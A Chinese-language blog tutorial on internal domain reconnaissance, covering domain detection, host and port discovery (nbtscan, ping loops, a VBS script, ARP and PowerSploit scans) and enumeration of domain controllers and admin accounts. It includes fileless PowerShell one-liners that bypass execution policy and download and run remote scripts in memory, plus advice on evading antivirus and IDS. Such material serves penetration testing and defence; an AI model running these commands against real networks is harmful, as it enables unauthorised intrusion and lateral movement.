1.判断是否有域

ipconfig /all

systeminfo

net config workstation

net time /domain

判断主域,一般域服务器都会同时作为时间服务器

这里分为3中情况:

  1. 存在域,并且当前用户是域用户
  2. 不存在域,当前网络环境为工作组
  3. 存在域,但当前用户不是域用户

2.域内主机探测

(避免使用暴力扫描工具或图形化工具触发反病毒软件)
(可以在白天和晚上各探测一遍来分析主机的存活数量)
nbtscan.exe

下载链接:nbtscan-1.0.35.exe

  • 扫描结果
    sharing:可能有打印共享服务
    DC: 可能是域控制器
    U=user:可能是登录名为user的用户
    IIS:可能安装了IIS服务器
    EXCHANEGE:可能安装了微软的exchange
    ?:未识别出该机器的NETBIOS资源,可使用-f继续扫描

利用icmp协议扫描

  • ping
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr “TTL=”

  • VBS
strSubNet = "192.168.33."
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:\Users\test1\AppData\Local\Temp\res.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine "Ping " & strComputer & " success!"
End If
Next

objTS.Close
WScript.Echo "Done!"
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function

允许此脚本后会在%temp%路径下生成res.txt文件,里面会显示存活的主机名


利用ARP扫描

  • arp-scan

github下载链接:arp-scan.exe(需要特定网络环境)


可见除了广播地址一共扫出来3个主机,而前面使用icmp只扫描出2个,这是因为有些有些系统默认是禁止ICMP的,所以使用多种方法更有效找到所有存活主机。

Nishang 中的 Invoke-ARPScan.ps1 脚本

github下载链接:Invoke-ARPScan.ps1(需要特定网络环境)

这里也有3中方式:

  1. 本地运行
powershell.exe -exec bypass -Command “& {Import-Module C:\Users\test1\Desktop\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.33.0/24}” >> C:\Users\test1\Desktop\log.txt

  1. 远程运行
powershell.exe -exec bypass -c "IEX{New-Object Net.WebClient}.DownloadString(‘脚本地址’);invoke-ARPScan-CIDR 192.168.1.1/24">>C:\windows\temp\log.txt:
  1. 无文件运行(没有运行文件,在内存中运行)
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.33.1/PowerSploit-master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.33.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"

利用TCP/UDP扫描探测

  • ScanLine

下载链接:ScanLine

sl.exe -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O C:\Users\test1\AppData\Local\Temp\log.txt -p 192.168.33.1-254 /b


3.域内端口扫描

扫描注意是否会触发IDS

Powersploit的invoke-portscan.ps1脚本

github下载链接:invoke-portscan.ps1

powershell.exe -exec bypass -Command "& {Import-Module "C:\Users\test1\AppData\Local\Temp\Invoke-Portscan.ps1";Invoke-Portscan -Hosts 192.168.33.0/24 -T 4 -ports '445,1433,80,8080,3389' -oA c:\ProgramData\ip_info"}

执行结束后会生成一个ip_info.xml的文件会显示出扫描结果:

命令格式:

powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1; powerview的命令参数}"

端口 Banner 信息


4.域内控制器的查找

nltest /dclist:yuaneu.ro

nslookup -type=SRV _ldap._tcp

net time /domain

net group "domain controllers" /domain


5.域内用户和管理员的获取

查询所有域用户列表

net user /domain

wmic useraccount get /all

net localgroup administrators /domain

dsquery user
只能在DC上执行

查询域管理员用户组

net group "domain admins" /domain

net group "Enterprise admins" /domain

最后修改:2021 年 03 月 17 日
如果觉得我的文章对你有用,请随意赞赏